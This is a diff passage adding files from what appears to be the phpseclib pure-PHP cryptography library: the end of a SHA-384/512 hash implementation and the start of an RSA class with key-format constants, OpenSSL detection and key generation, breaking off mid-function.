+                '510e527fade682d1', '9b05688c2b3e6c1f', '1f83d9abfb41bd6b', '5be0cd19137e2179'
+            );
+
+            for ($i = 0; $i < 8; $i++) {
+                $init384[$i] = new Math_BigInteger($init384[$i], 16);
+                $init384[$i]->setPrecision(64);
+                $init512[$i] = new Math_BigInteger($init512[$i], 16);
+                $init512[$i]->setPrecision(64);
+            }
+
+            // Initialize table of round constants
+            // (first 64 bits of the fractional parts of the cube roots of the first 80 primes 2..409)
+            $k = array(
+                '428a2f98d728ae22', '7137449123ef65cd', 'b5c0fbcfec4d3b2f', 'e9b5dba58189dbbc',
+                '3956c25bf348b538', '59f111f1b605d019', '923f82a4af194f9b', 'ab1c5ed5da6d8118',
+                'd807aa98a3030242', '12835b0145706fbe', '243185be4ee4b28c', '550c7dc3d5ffb4e2',
+                '72be5d74f27b896f', '80deb1fe3b1696b1', '9bdc06a725c71235', 'c19bf174cf692694',
+                'e49b69c19ef14ad2', 'efbe4786384f25e3', '0fc19dc68b8cd5b5', '240ca1cc77ac9c65',
+                '2de92c6f592b0275', '4a7484aa6ea6e483', '5cb0a9dcbd41fbd4', '76f988da831153b5',
+                '983e5152ee66dfab', 'a831c66d2db43210', 'b00327c898fb213f', 'bf597fc7beef0ee4',
+                'c6e00bf33da88fc2', 'd5a79147930aa725', '06ca6351e003826f', '142929670a0e6e70',
+                '27b70a8546d22ffc', '2e1b21385c26c926', '4d2c6dfc5ac42aed', '53380d139d95b3df',
+                '650a73548baf63de', '766a0abb3c77b2a8', '81c2c92e47edaee6', '92722c851482353b',
+                'a2bfe8a14cf10364', 'a81a664bbc423001', 'c24b8b70d0f89791', 'c76c51a30654be30',
+                'd192e819d6ef5218', 'd69906245565a910', 'f40e35855771202a', '106aa07032bbd1b8',
+                '19a4c116b8d2d0c8', '1e376c085141ab53', '2748774cdf8eeb99', '34b0bcb5e19b48a8',
+                '391c0cb3c5c95a63', '4ed8aa4ae3418acb', '5b9cca4f7763e373', '682e6ff3d6b2b8a3',
+                '748f82ee5defb2fc', '78a5636f43172f60', '84c87814a1f0ab72', '8cc702081a6439ec',
+                '90befffa23631e28', 'a4506cebde82bde9', 'bef9a3f7b2c67915', 'c67178f2e372532b',
+                'ca273eceea26619c', 'd186b8c721c0c207', 'eada7dd6cde0eb1e', 'f57d4f7fee6ed178',
+                '06f067aa72176fba', '0a637dc5a2c898a6', '113f9804bef90dae', '1b710b35131c471b',
+                '28db77f523047d84', '32caab7b40c72493', '3c9ebe0a15c9bebc', '431d67c49c100d4c',
+                '4cc5d4becb3e42b6', '597f299cfc657e2a', '5fcb6fab3ad6faec', '6c44198c4a475817'
+            );
+
+            for ($i = 0; $i < 80; $i++) {
+                $k[$i] = new Math_BigInteger($k[$i], 16);
+            }
+        }
+
+        $hash = $this->l == 48 ? $init384 : $init512;
+
+        // Pre-processing
+        $length = strlen($m);
+        // to round to nearest 112 mod 128, we'll add 128 - (length + (128 - 112)) % 128
+        $m.= str_repeat(chr(0), 128 - (($length + 16) & 0x7F));
+        $m[$length] = chr(0x80);
+        // we don't support hashing strings 512MB long
+        $m.= pack('N4', 0, 0, 0, $length << 3);
+
+        // Process the message in successive 1024-bit chunks
+        $chunks = str_split($m, 128);
+        foreach ($chunks as $chunk) {
+            $w = array();
+            for ($i = 0; $i < 16; $i++) {
+                $temp = new Math_BigInteger($this->_string_shift($chunk, 8), 256);
+                $temp->setPrecision(64);
+                $w[] = $temp;
+            }
+
+            // Extend the sixteen 32-bit words into eighty 32-bit words
+            for ($i = 16; $i < 80; $i++) {
+                $temp = array(
+                          $w[$i - 15]->bitwise_rightRotate(1),
+                          $w[$i - 15]->bitwise_rightRotate(8),
+                          $w[$i - 15]->bitwise_rightShift(7)
+                );
+                $s0 = $temp[0]->bitwise_xor($temp[1]);
+                $s0 = $s0->bitwise_xor($temp[2]);
+                $temp = array(
+                          $w[$i - 2]->bitwise_rightRotate(19),
+                          $w[$i - 2]->bitwise_rightRotate(61),
+                          $w[$i - 2]->bitwise_rightShift(6)
+                );
+                $s1 = $temp[0]->bitwise_xor($temp[1]);
+                $s1 = $s1->bitwise_xor($temp[2]);
+                $w[$i] = $w[$i - 16]->copy();
+                $w[$i] = $w[$i]->add($s0);
+                $w[$i] = $w[$i]->add($w[$i - 7]);
+                $w[$i] = $w[$i]->add($s1);
+            }
+
+            // Initialize hash value for this chunk
+            $a = $hash[0]->copy();
+            $b = $hash[1]->copy();
+            $c = $hash[2]->copy();
+            $d = $hash[3]->copy();
+            $e = $hash[4]->copy();
+            $f = $hash[5]->copy();
+            $g = $hash[6]->copy();
+            $h = $hash[7]->copy();
+
+            // Main loop
+            for ($i = 0; $i < 80; $i++) {
+                $temp = array(
+                    $a->bitwise_rightRotate(28),
+                    $a->bitwise_rightRotate(34),
+                    $a->bitwise_rightRotate(39)
+                );
+                $s0 = $temp[0]->bitwise_xor($temp[1]);
+                $s0 = $s0->bitwise_xor($temp[2]);
+                $temp = array(
+                    $a->bitwise_and($b),
+                    $a->bitwise_and($c),
+                    $b->bitwise_and($c)
+                );
+                $maj = $temp[0]->bitwise_xor($temp[1]);
+                $maj = $maj->bitwise_xor($temp[2]);
+                $t2 = $s0->add($maj);
+
+                $temp = array(
+                    $e->bitwise_rightRotate(14),
+                    $e->bitwise_rightRotate(18),
+                    $e->bitwise_rightRotate(41)
+                );
+                $s1 = $temp[0]->bitwise_xor($temp[1]);
+                $s1 = $s1->bitwise_xor($temp[2]);
+                $temp = array(
+                    $e->bitwise_and($f),
+                    $g->bitwise_and($e->bitwise_not())
+                );
+                $ch = $temp[0]->bitwise_xor($temp[1]);
+                $t1 = $h->add($s1);
+                $t1 = $t1->add($ch);
+                $t1 = $t1->add($k[$i]);
+                $t1 = $t1->add($w[$i]);
+
+                $h = $g->copy();
+                $g = $f->copy();
+                $f = $e->copy();
+                $e = $d->add($t1);
+                $d = $c->copy();
+                $c = $b->copy();
+                $b = $a->copy();
+                $a = $t1->add($t2);
+            }
+
+            // Add this chunk's hash to result so far
+            $hash = array(
+                $hash[0]->add($a),
+                $hash[1]->add($b),
+                $hash[2]->add($c),
+                $hash[3]->add($d),
+                $hash[4]->add($e),
+                $hash[5]->add($f),
+                $hash[6]->add($g),
+                $hash[7]->add($h)
+            );
+        }
+
+        // Produce the final hash value (big-endian)
+        // (Crypt_Hash::hash() trims the output for hashes but not for HMACs.  as such, we trim the output here)
+        $temp = $hash[0]->toBytes() . $hash[1]->toBytes() . $hash[2]->toBytes() . $hash[3]->toBytes() .
+                $hash[4]->toBytes() . $hash[5]->toBytes();
+        if ($this->l != 48) {
+            $temp.= $hash[6]->toBytes() . $hash[7]->toBytes();
+        }
+
+        return $temp;
+    }
+
+    /**
+     * Right Rotate
+     *
+     * @access private
+     * @param Integer $int
+     * @param Integer $amt
+     * @see _sha256()
+     * @return Integer
+     */
+    function _rightRotate($int, $amt)
+    {
+        $invamt = 32 - $amt;
+        $mask = (1 << $invamt) - 1;
+        return (($int << $invamt) & 0xFFFFFFFF) | (($int >> $amt) & $mask);
+    }
+
+    /**
+     * Right Shift
+     *
+     * @access private
+     * @param Integer $int
+     * @param Integer $amt
+     * @see _sha256()
+     * @return Integer
+     */
+    function _rightShift($int, $amt)
+    {
+        $mask = (1 << (32 - $amt)) - 1;
+        return ($int >> $amt) & $mask;
+    }
+
+    /**
+     * Not
+     *
+     * @access private
+     * @param Integer $int
+     * @see _sha256()
+     * @return Integer
+     */
+    function _not($int)
+    {
+        return ~$int & 0xFFFFFFFF;
+    }
+
+    /**
+     * Add
+     *
+     * _sha256() adds multiple unsigned 32-bit integers.  Since PHP doesn't support unsigned integers and since the
+     * possibility of overflow exists, care has to be taken.  Math_BigInteger() could be used but this should be faster.
+     *
+     * @param Integer $...
+     * @return Integer
+     * @see _sha256()
+     * @access private
+     */
+    function _add()
+    {
+        static $mod;
+        if (!isset($mod)) {
+            $mod = pow(2, 32);
+        }
+
+        $result = 0;
+        $arguments = func_get_args();
+        foreach ($arguments as $argument) {
+            $result+= $argument < 0 ? ($argument & 0x7FFFFFFF) + 0x80000000 : $argument;
+        }
+
+        return fmod($result, $mod);
+    }
+
+    /**
+     * String Shift
+     *
+     * Inspired by array_shift
+     *
+     * @param String $string
+     * @param optional Integer $index
+     * @return String
+     * @access private
+     */
+    function _string_shift(&$string, $index = 1)
+    {
+        $substr = substr($string, 0, $index);
+        $string = substr($string, $index);
+        return $substr;
+    }
+}

source/scripts/phpbypass/var/www/crypt/RSA.php

@@ -0,0 +1,2997 @@
+<?php
+
+/**
+ * Pure-PHP PKCS#1 (v2.1) compliant implementation of RSA.
+ *
+ * PHP versions 4 and 5
+ *
+ * Here's an example of how to encrypt and decrypt text with this library:
+ * <code>
+ * <?php
+ *    include 'Crypt/RSA.php';
+ *
+ *    $rsa = new Crypt_RSA();
+ *    extract($rsa->createKey());
+ *
+ *    $plaintext = 'terrafrost';
+ *
+ *    $rsa->loadKey($privatekey);
+ *    $ciphertext = $rsa->encrypt($plaintext);
+ *
+ *    $rsa->loadKey($publickey);
+ *    echo $rsa->decrypt($ciphertext);
+ * ?>
+ * </code>
+ *
+ * Here's an example of how to create signatures and verify signatures with this library:
+ * <code>
+ * <?php
+ *    include 'Crypt/RSA.php';
+ *
+ *    $rsa = new Crypt_RSA();
+ *    extract($rsa->createKey());
+ *
+ *    $plaintext = 'terrafrost';
+ *
+ *    $rsa->loadKey($privatekey);
+ *    $signature = $rsa->sign($plaintext);
+ *
+ *    $rsa->loadKey($publickey);
+ *    echo $rsa->verify($plaintext, $signature) ? 'verified' : 'unverified';
+ * ?>
+ * </code>
+ *
+ * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * @category  Crypt
+ * @package   Crypt_RSA
+ * @author    Jim Wigginton <terrafrost@php.net>
+ * @copyright 2009 Jim Wigginton
+ * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
+ * @link      http://phpseclib.sourceforge.net
+ */
+
+/**
+ * Include Crypt_Random
+ */
+// the class_exists() will only be called if the crypt_random_string function hasn't been defined and
+// will trigger a call to __autoload() if you're wanting to auto-load classes
+// call function_exists() a second time to stop the include_once from being called outside
+// of the auto loader
+if (!function_exists('crypt_random_string')) {
+    include_once 'Random.php';
+}
+
+/**
+ * Include Crypt_Hash
+ */
+if (!class_exists('Crypt_Hash')) {
+    include_once 'Hash.php';
+}
+
+/**#@+
+ * @access public
+ * @see Crypt_RSA::encrypt()
+ * @see Crypt_RSA::decrypt()
+ */
+/**
+ * Use {@link http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding Optimal Asymmetric Encryption Padding}
+ * (OAEP) for encryption / decryption.
+ *
+ * Uses sha1 by default.
+ *
+ * @see Crypt_RSA::setHash()
+ * @see Crypt_RSA::setMGFHash()
+ */
+define('CRYPT_RSA_ENCRYPTION_OAEP',  1);
+/**
+ * Use PKCS#1 padding.
+ *
+ * Although CRYPT_RSA_ENCRYPTION_OAEP offers more security, including PKCS#1 padding is necessary for purposes of backwards
+ * compatibility with protocols (like SSH-1) written before OAEP's introduction.
+ */
+define('CRYPT_RSA_ENCRYPTION_PKCS1', 2);
+/**#@-*/
+
+/**#@+
+ * @access public
+ * @see Crypt_RSA::sign()
+ * @see Crypt_RSA::verify()
+ * @see Crypt_RSA::setHash()
+ */
+/**
+ * Use the Probabilistic Signature Scheme for signing
+ *
+ * Uses sha1 by default.
+ *
+ * @see Crypt_RSA::setSaltLength()
+ * @see Crypt_RSA::setMGFHash()
+ */
+define('CRYPT_RSA_SIGNATURE_PSS',  1);
+/**
+ * Use the PKCS#1 scheme by default.
+ *
+ * Although CRYPT_RSA_SIGNATURE_PSS offers more security, including PKCS#1 signing is necessary for purposes of backwards
+ * compatibility with protocols (like SSH-2) written before PSS's introduction.
+ */
+define('CRYPT_RSA_SIGNATURE_PKCS1', 2);
+/**#@-*/
+
+/**#@+
+ * @access private
+ * @see Crypt_RSA::createKey()
+ */
+/**
+ * ASN1 Integer
+ */
+define('CRYPT_RSA_ASN1_INTEGER',     2);
+/**
+ * ASN1 Bit String
+ */
+define('CRYPT_RSA_ASN1_BITSTRING',   3);
+/**
+ * ASN1 Octet String
+ */
+define('CRYPT_RSA_ASN1_OCTETSTRING', 4);
+/**
+ * ASN1 Object Identifier
+ */
+define('CRYPT_RSA_ASN1_OBJECT',      6);
+/**
+ * ASN1 Sequence (with the constucted bit set)
+ */
+define('CRYPT_RSA_ASN1_SEQUENCE',   48);
+/**#@-*/
+
+/**#@+
+ * @access private
+ * @see Crypt_RSA::Crypt_RSA()
+ */
+/**
+ * To use the pure-PHP implementation
+ */
+define('CRYPT_RSA_MODE_INTERNAL', 1);
+/**
+ * To use the OpenSSL library
+ *
+ * (if enabled; otherwise, the internal implementation will be used)
+ */
+define('CRYPT_RSA_MODE_OPENSSL', 2);
+/**#@-*/
+
+/**
+ * Default openSSL configuration file.
+ */
+define('CRYPT_RSA_OPENSSL_CONFIG', dirname(__FILE__) . '/../openssl.cnf');
+
+/**#@+
+ * @access public
+ * @see Crypt_RSA::createKey()
+ * @see Crypt_RSA::setPrivateKeyFormat()
+ */
+/**
+ * PKCS#1 formatted private key
+ *
+ * Used by OpenSSH
+ */
+define('CRYPT_RSA_PRIVATE_FORMAT_PKCS1', 0);
+/**
+ * PuTTY formatted private key
+ */
+define('CRYPT_RSA_PRIVATE_FORMAT_PUTTY', 1);
+/**
+ * XML formatted private key
+ */
+define('CRYPT_RSA_PRIVATE_FORMAT_XML', 2);
+/**
+ * PKCS#8 formatted private key
+ */
+define('CRYPT_RSA_PRIVATE_FORMAT_PKCS8', 3);
+/**#@-*/
+
+/**#@+
+ * @access public
+ * @see Crypt_RSA::createKey()
+ * @see Crypt_RSA::setPublicKeyFormat()
+ */
+/**
+ * Raw public key
+ *
+ * An array containing two Math_BigInteger objects.
+ *
+ * The exponent can be indexed with any of the following:
+ *
+ * 0, e, exponent, publicExponent
+ *
+ * The modulus can be indexed with any of the following:
+ *
+ * 1, n, modulo, modulus
+ */
+define('CRYPT_RSA_PUBLIC_FORMAT_RAW', 3);
+/**
+ * PKCS#1 formatted public key (raw)
+ *
+ * Used by File/X509.php
+ *
+ * Has the following header:
+ *
+ * -----BEGIN RSA PUBLIC KEY-----
+ *
+ * Analogous to ssh-keygen's pem format (as specified by -m)
+ */
+define('CRYPT_RSA_PUBLIC_FORMAT_PKCS1', 4);
+define('CRYPT_RSA_PUBLIC_FORMAT_PKCS1_RAW', 4);
+/**
+ * XML formatted public key
+ */
+define('CRYPT_RSA_PUBLIC_FORMAT_XML', 5);
+/**
+ * OpenSSH formatted public key
+ *
+ * Place in $HOME/.ssh/authorized_keys
+ */
+define('CRYPT_RSA_PUBLIC_FORMAT_OPENSSH', 6);
+/**
+ * PKCS#1 formatted public key (encapsulated)
+ *
+ * Used by PHP's openssl_public_encrypt() and openssl's rsautl (when -pubin is set)
+ *
+ * Has the following header:
+ *
+ * -----BEGIN PUBLIC KEY-----
+ *
+ * Analogous to ssh-keygen's pkcs8 format (as specified by -m). Although PKCS8
+ * is specific to private keys it's basically creating a DER-encoded wrapper
+ * for keys. This just extends that same concept to public keys (much like ssh-keygen)
+ */
+define('CRYPT_RSA_PUBLIC_FORMAT_PKCS8', 7);
+/**#@-*/
+
+/**
+ * Pure-PHP PKCS#1 compliant implementation of RSA.
+ *
+ * @package Crypt_RSA
+ * @author  Jim Wigginton <terrafrost@php.net>
+ * @access  public
+ */
+class Crypt_RSA
+{
+    /**
+     * Precomputed Zero
+     *
+     * @var Array
+     * @access private
+     */
+    var $zero;
+
+    /**
+     * Precomputed One
+     *
+     * @var Array
+     * @access private
+     */
+    var $one;
+
+    /**
+     * Private Key Format
+     *
+     * @var Integer
+     * @access private
+     */
+    var $privateKeyFormat = CRYPT_RSA_PRIVATE_FORMAT_PKCS1;
+
+    /**
+     * Public Key Format
+     *
+     * @var Integer
+     * @access public
+     */
+    var $publicKeyFormat = CRYPT_RSA_PUBLIC_FORMAT_PKCS8;
+
+    /**
+     * Modulus (ie. n)
+     *
+     * @var Math_BigInteger
+     * @access private
+     */
+    var $modulus;
+
+    /**
+     * Modulus length
+     *
+     * @var Math_BigInteger
+     * @access private
+     */
+    var $k;
+
+    /**
+     * Exponent (ie. e or d)
+     *
+     * @var Math_BigInteger
+     * @access private
+     */
+    var $exponent;
+
+    /**
+     * Primes for Chinese Remainder Theorem (ie. p and q)
+     *
+     * @var Array
+     * @access private
+     */
+    var $primes;
+
+    /**
+     * Exponents for Chinese Remainder Theorem (ie. dP and dQ)
+     *
+     * @var Array
+     * @access private
+     */
+    var $exponents;
+
+    /**
+     * Coefficients for Chinese Remainder Theorem (ie. qInv)
+     *
+     * @var Array
+     * @access private
+     */
+    var $coefficients;
+
+    /**
+     * Hash name
+     *
+     * @var String
+     * @access private
+     */
+    var $hashName;
+
+    /**
+     * Hash function
+     *
+     * @var Crypt_Hash
+     * @access private
+     */
+    var $hash;
+
+    /**
+     * Length of hash function output
+     *
+     * @var Integer
+     * @access private
+     */
+    var $hLen;
+
+    /**
+     * Length of salt
+     *
+     * @var Integer
+     * @access private
+     */
+    var $sLen;
+
+    /**
+     * Hash function for the Mask Generation Function
+     *
+     * @var Crypt_Hash
+     * @access private
+     */
+    var $mgfHash;
+
+    /**
+     * Length of MGF hash function output
+     *
+     * @var Integer
+     * @access private
+     */
+    var $mgfHLen;
+
+    /**
+     * Encryption mode
+     *
+     * @var Integer
+     * @access private
+     */
+    var $encryptionMode = CRYPT_RSA_ENCRYPTION_OAEP;
+
+    /**
+     * Signature mode
+     *
+     * @var Integer
+     * @access private
+     */
+    var $signatureMode = CRYPT_RSA_SIGNATURE_PSS;
+
+    /**
+     * Public Exponent
+     *
+     * @var Mixed
+     * @access private
+     */
+    var $publicExponent = false;
+
+    /**
+     * Password
+     *
+     * @var String
+     * @access private
+     */
+    var $password = false;
+
+    /**
+     * Components
+     *
+     * For use with parsing XML formatted keys.  PHP's XML Parser functions use utilized - instead of PHP's DOM functions -
+     * because PHP's XML Parser functions work on PHP4 whereas PHP's DOM functions - although surperior - don't.
+     *
+     * @see Crypt_RSA::_start_element_handler()
+     * @var Array
+     * @access private
+     */
+    var $components = array();
+
+    /**
+     * Current String
+     *
+     * For use with parsing XML formatted keys.
+     *
+     * @see Crypt_RSA::_character_handler()
+     * @see Crypt_RSA::_stop_element_handler()
+     * @var Mixed
+     * @access private
+     */
+    var $current;
+
+    /**
+     * OpenSSL configuration file name.
+     *
+     * Set to null to use system configuration file.
+     * @see Crypt_RSA::createKey()
+     * @var Mixed
+     * @Access public
+     */
+    var $configFile;
+
+    /**
+     * Public key comment field.
+     *
+     * @var String
+     * @access private
+     */
+    var $comment = 'phpseclib-generated-key';
+
+    /**
+     * The constructor
+     *
+     * If you want to make use of the openssl extension, you'll need to set the mode manually, yourself.  The reason
+     * Crypt_RSA doesn't do it is because OpenSSL doesn't fail gracefully.  openssl_pkey_new(), in particular, requires
+     * openssl.cnf be present somewhere and, unfortunately, the only real way to find out is too late.
+     *
+     * @return Crypt_RSA
+     * @access public
+     */
+    function Crypt_RSA()
+    {
+        if (!class_exists('Math_BigInteger')) {
+            include_once 'BigInteger.php';
+        }
+
+        $this->configFile = CRYPT_RSA_OPENSSL_CONFIG;
+
+        if ( !defined('CRYPT_RSA_MODE') ) {
+            switch (true) {
+                // Math/BigInteger's openssl requirements are a little less stringent than Crypt/RSA's. in particular,
+                // Math/BigInteger doesn't require an openssl.cfg file whereas Crypt/RSA does. so if Math/BigInteger
+                // can't use OpenSSL it can be pretty trivially assumed, then, that Crypt/RSA can't either.
+                case defined('MATH_BIGINTEGER_OPENSSL_DISABLE'):
+                    define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL);
+                    break;
+                // openssl_pkey_get_details - which is used in the only place Crypt/RSA.php uses OpenSSL - was introduced in PHP 5.2.0
+                case !function_exists('openssl_pkey_get_details'):
+                    define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL);
+                    break;
+                case extension_loaded('openssl') && version_compare(PHP_VERSION, '4.2.0', '>=') && file_exists($this->configFile):
+                    // some versions of XAMPP have mismatched versions of OpenSSL which causes it not to work
+                    ob_start();
+                    @phpinfo();
+                    $content = ob_get_contents();
+                    ob_end_clean();
+
+                    preg_match_all('#OpenSSL (Header|Library) Version(.*)#im', $content, $matches);
+
+                    $versions = array();
+                    if (!empty($matches[1])) {
+                        for ($i = 0; $i < count($matches[1]); $i++) {
+                            $fullVersion = trim(str_replace('=>', '', strip_tags($matches[2][$i])));
+
+                            // Remove letter part in OpenSSL version
+                            if (!preg_match('/(\d+\.\d+\.\d+)/i', $fullVersion, $m)) {
+                                $versions[$matches[1][$i]] = $fullVersion;
+                            } else {
+                                $versions[$matches[1][$i]] = $m[0];
+                            }
+                        }
+                    }
+
+                    // it doesn't appear that OpenSSL versions were reported upon until PHP 5.3+
+                    switch (true) {
+                        case !isset($versions['Header']):
+                        case !isset($versions['Library']):
+                        case $versions['Header'] == $versions['Library']:
+                            define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_OPENSSL);
+                            break;
+                        default:
+                            define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL);
+                            define('MATH_BIGINTEGER_OPENSSL_DISABLE', true);
+                    }
+                    break;
+                default:
+                    define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL);
+            }
+        }
+
+        $this->zero = new Math_BigInteger();
+        $this->one = new Math_BigInteger(1);
+
+        $this->hash = new Crypt_Hash('sha1');
+        $this->hLen = $this->hash->getLength();
+        $this->hashName = 'sha1';
+        $this->mgfHash = new Crypt_Hash('sha1');
+        $this->mgfHLen = $this->mgfHash->getLength();
+    }
+
+    /**
+     * Create public / private key pair
+     *
+     * Returns an array with the following three elements:
+     *  - 'privatekey': The private key.
+     *  - 'publickey':  The public key.
+     *  - 'partialkey': A partially computed key (if the execution time exceeded $timeout).
+     *                  Will need to be passed back to Crypt_RSA::createKey() as the third parameter for further processing.
+     *
+     * @access public
+     * @param optional Integer $bits
+     * @param optional Integer $timeout
+     * @param optional Math_BigInteger $p
+     */
+    function createKey($bits = 1024, $timeout = false, $partial = array())
+    {
+        if (!defined('CRYPT_RSA_EXPONENT')) {
+            // http://en.wikipedia.org/wiki/65537_%28number%29
+            define('CRYPT_RSA_EXPONENT', '65537');
+        }
+        // per <http://cseweb.ucsd.edu/~hovav/dist/survey.pdf#page=5>, this number ought not result in primes smaller
+        // than 256 bits. as a consequence if the key you're trying to create is 1024 bits and you've set CRYPT_RSA_SMALLEST_PRIME
+        // to 384 bits then you're going to get a 384 bit prime and a 640 bit prime (384 + 1024 % 384). at least if
+        // CRYPT_RSA_MODE is set to CRYPT_RSA_MODE_INTERNAL. if CRYPT_RSA_MODE is set to CRYPT_RSA_MODE_OPENSSL then
+        // CRYPT_RSA_SMALLEST_PRIME is ignored (ie. multi-prime RSA support is more intended as a way to speed up RSA key
+        // generation when there's a chance neither gmp nor OpenSSL are installed)
+        if (!defined('CRYPT_RSA_SMALLEST_PRIME')) {
+            define('CRYPT_RSA_SMALLEST_PRIME', 4096);
+        }
+
+        // OpenSSL uses 65537 as the exponent and requires RSA keys be 384 bits minimum
+        if ( CRYPT_RSA_MODE == CRYPT_RSA_MODE_OPENSSL && $bits >= 384 && CRYPT_RSA_EXPONENT == 65537) {
+            $config = array();
+            if (isset($this->configFile)) {
+                $config['config'] = $this->configFile;
+            }
+            $rsa = openssl_pkey_new(array('private_key_bits' => $bits) + $config);
+            openssl_pkey_export($rsa, $privatekey, null, $config);
+            $publickey = openssl_pkey_get_details($rsa);
+            $publickey = $publickey['key'];
+
+            $privatekey = call_user_func_array(array($this, '_convertPrivateKey'), array_values($this->_parseKey($privatekey, CRYPT_RSA_PRIVATE_FORMAT_PKCS1)));
+            $publickey = call_user_func_array(array($this, '_convertPublicKey'), array_values($this->_parseKey($publickey, CRYPT_RSA_PUBLIC_FORMAT_PKCS1)));
+
+            // clear the buffer of error strings stemming from a minimalistic openssl.cnf
+            while (openssl_error_string() !== false);
+
+            return array(
+                'privatekey' => $privatekey,
+                'publickey' => $publickey,
+                'partialkey' => false
+            );
+        }
+
+        static $e;
+        if (!isset($e)) {
+            $e = new Math_BigInteger(CRYPT_RSA_EXPONENT);
+        }
+
+        extract($this->_generateMinMax($bits));
+        $absoluteMin = $min;
+        $temp = $bits >> 1; // divide by two to see how many bits P and Q would be
+        if ($temp > CRYPT_RSA_SMALLEST_PRIME) {
+            $num_primes = floor($bits / CRYPT_RSA_SMALLEST_PRIME);
+            $temp = CRYPT_RSA_SMALLEST_PRIME;
+        } else {
+            $num_primes = 2;
+        }
+        extract($this->_generateMinMax($temp + $bits % $temp));
+        $finalMax = $max;
+        extract($this->_generateMinMax($temp));
+
+        $generator = new Math_BigInteger();
+
+        $n = $this->one->copy();
+        if (!empty($partial)) {
+            extract(unserialize($partial));
+        } else {
+            $exponents = $coefficients = $primes = array();
+            $lcm = array(
+                'top' => $this->one->copy(),
+                'bottom' => false
+            );
+        }
+
+        $start = time();
+        $i0 = count($primes) + 1;
+
+        do {
+            for ($i = $i0; $i <= $num_primes; $i++) {
+                if ($timeout !== false) {
+                    $timeout-= time() - $start;
+                    $start = time();
+                    if ($timeout <= 0) {
+                        return array(
+                            'privatekey' => '',
+                            'publickey'  => '',
+                            'partialkey' => serialize(array(
+                                'primes' => $primes,
+                                'coefficients' => $coefficients,
+                                'lcm' => $lcm,
+                                'exponents' => $exponents
+                            ))
+                        );
+                    }
+                }
+
+                if ($i == $num_primes) {
+                    list($min, $temp) = $absoluteMin->divide($n);
+                    if (!$temp->equals($this->zero)) {
+                        $min = $min->add($this->one); // ie. ceil()
+                    }
+                    $primes[$i] = $generator->randomPrime($min, $finalMax, $timeout);
+                } else {
+                    $primes[$i] = $generator->randomPrime($min, $max, $timeout);
+                }
+
+                if ($primes[$i] === false) { // if we've reached the timeout
+                    if (count($primes) > 1) {
+                        $partialkey = '';
+                    } else {
+                        array_pop($primes);
+                        $partialkey = serialize(array(
+                            'primes' => $primes,
+                            'coefficients' => $coefficients,
+                            'lcm' => $lcm,
+                            'exponents' => $exponents
+                        ));
+                    }
+
+                    return array(
+                        'privatekey' => '',
+                        'publickey'  => '',
+                        'partialkey' => $partialkey
+                    );
+                }
+
+                // the first coefficient is calculated differently from the rest
+                // ie. instead of being $primes[1]->modInverse($primes[2]), it's $primes[2]->modInverse($primes[1])
+                if ($i > 2) {
+                    $coefficients[$i] = $n->modInverse($primes[$i]);
+                }
+
+                $n = $n->multiply($primes[$i]);
+
+                $temp = $primes[$i]->subtract($this->one);
+
+                // textbook RSA implementations use Euler's totient function instead of the least common multiple.
+                // see http://en.wikipedia.org/wiki/Euler%27s_totient_function
+                $lcm['top'] = $lcm['top']->multiply($temp);
+                $lcm['bottom'] = $lcm['bottom'] === false ? $temp : $lcm['bottom']->gcd($temp);
+
+                $exponents[$i] = $e->modInverse($temp);
+            }
+
+            list($temp) = $lcm['top']->divide($lcm['bottom']);
+            $gcd = $temp->gcd($e);
+            $i0 = 1;
+        } while (!$gcd->equals($this->one));
+
+        $d = $e->modInverse($temp);
+
+        $coefficients[2] = $primes[2]->modInverse($primes[1]);
+
+        // from <http://tools.ietf.org/html/rfc3447#appendix-A.1.2>:
+        // RSAPrivateKey ::= SEQUENCE {
+        //     version           Version,
+        //     modulus           INTEGER,  -- n
+        //     publicExponent    INTEGER,  -- e
+        //     privateExponent   INTEGER,  -- d
+        //     prime1            INTEGER,  -- p
+        //     prime2            INTEGER,  -- q
+        //     exponent1         INTEGER,  -- d mod (p-1)
+        //     exponent2         INTEGER,  -- d mod (q-1)
+        //     coefficient       INTEGER,  -- (inverse of q) mod p
+        //     otherPrimeInfos   OtherPrimeInfos OPTIONAL
+        // }
+
+        return array(
+            'privatekey' => $this->_convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients),
+            'publickey'  => $this->_convertPublicKey($n, $e),
+            'partialkey' => false
+        );
+    }
+
+    /**
+     * Convert a private key to the appropriate format.
+     *
+     * @access private
+     * @see setPrivateKeyFormat()
+     * @param String $RSAPrivateKey
+     * @return String
+     */
+    function _convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients)
+    {
+        $signed = $this->privateKeyFormat != CRYPT_RSA_PRIVATE_FORMAT_XML;
+        $num_primes = count($primes);
+        $raw = array(
+            'version' => $num_primes == 2 ? chr(0) : chr(1), // two-prime vs. multi
+            'modulus' => $n->toBytes($signed),
+            'publicExponent' => $e->toBytes($signed),
+            'privateExponent' => $d->toBytes($signed),
+            'prime1' => $primes[1]->toBytes($signed),
+            'prime2' => $primes[2]->toBytes($signed),
